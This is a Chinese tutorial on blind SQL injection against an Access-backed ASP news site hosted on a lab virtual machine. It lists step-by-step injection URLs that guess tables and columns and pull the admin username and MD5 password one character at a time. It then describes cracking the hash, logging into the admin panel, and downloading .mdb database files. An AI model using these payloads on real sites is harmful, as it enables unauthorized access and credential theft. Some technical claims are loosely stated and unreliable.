Access数据库攻击案例
一、爆数据库类型
SQL Server有一些系统变量和系统表,如果服务器IIS提示没关闭,并且SQL Server返回错误提示的话,
可以直接从出错信息中获取判断数据库的类型
1、内置变量爆数据库类型
User”是SQL Server的一个内置变量,它的值是当前连接的用户名,其变量类型为“nvarchar"字符型。通过提交查询该变量,根据返回的出错信息即可得知数据库类型。方法是在注入点之后提交如下语句。
and user>0
一、案例
注:后面http://192.168.1.55:901/news_view.asp?id=14这段可能会有变化,大家根据自己的做就行,更换是因为电脑出现问题才更改的ip
1.找注入点
首先打开之前在虚拟机上面装的网站
点击找注入点
2.准备注入(access注入大多要靠猜)
①:猜表名
将这条语句粘贴到网站,结果如下图所示exists(select * from users),说明数据库中没有user表,然后换成administrator返回正确页面,
说明存在administrator表
②:猜字段
exists(select username from administrator)
返回错误信息,说明不存在username字段,继续提交。
exists(select user_name from administrator)
返回正常页面,administrator表中存在字段user_nam
③:猜解字段长度
再继续猜测第一个字段内容长度。(前面的http://192.168.1.55:901/news_view.asp?id=14)根据自己的ip改变
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 len(user_name) from administrator)>1//正常
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 len(user_name) from administrator)>2 //正常
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 len(user_name) from administrator)>5 //报错
说明administrator表中的user_name 字段长度为5
④:猜解字段内容
现在猜解字段内容并提交。
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>0 //返回正常页面
说明ASCII值大于0 ,字段值应该为字母,如果是小于0那么说明是汉字,下面我们继续猜解。
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>500 //返回错误页面
说明字段对应的ASCll值在0和500之间。继续提交。
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>100 //返回错误页面
说明字段对应的ASCll值在0和100之间。继续提交。
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>90 //返回正常页面
说明字段对应的ASCll值在90和100之间。继续提交。
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>96 //返回正常页面
说明字段对应的ASCll值在96和100之间。继续提交。
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>97 //返回错误页面
说明administrator表中的user_name字段的第一位ASCII值为97。通过反查ASCII值对应的字母,得到字符值为“a”接着第二位查询。
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,2,1)) from administrator)>99 //返回正常页面(注:查第二个字母的时候记得把user_name后面的1变成2)
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,2,1)) from administrator)>100 //返回错误页面
用同样的方法,可猜解user_name字段值和password值,最终得到如下结果:
[user_name]:admin
[password]:21232f297a57a5a743894a0e4a801fc3
可看出password的值为32位MD5加密,使用MD5在线破解工具进行破解,得到明文密码为admin.
得到管理员用户名和密码后,登录后台:http://192.168.1.55:901/admin/index.asp,输入猜解出来的用户名和密码.就可以成功进入网站后台页面。
小提示: access数据库都是存放在网站目录下,后缀格式为mdb,asp,asa,可以通过一些暴库手段、目录猜解等直接下载数据库,如果是MSSQL、MYSQL等,一般数据库是存储在数据库安装路径下,后缀格式为myi,myd,frm,mdf 不能通过下载得到库。除非走狗屎运,对方管理员把网站库备份在网站目录下。
php+mysql
数据库存储在数据库安装路径下,后缀格式myi,myd,frm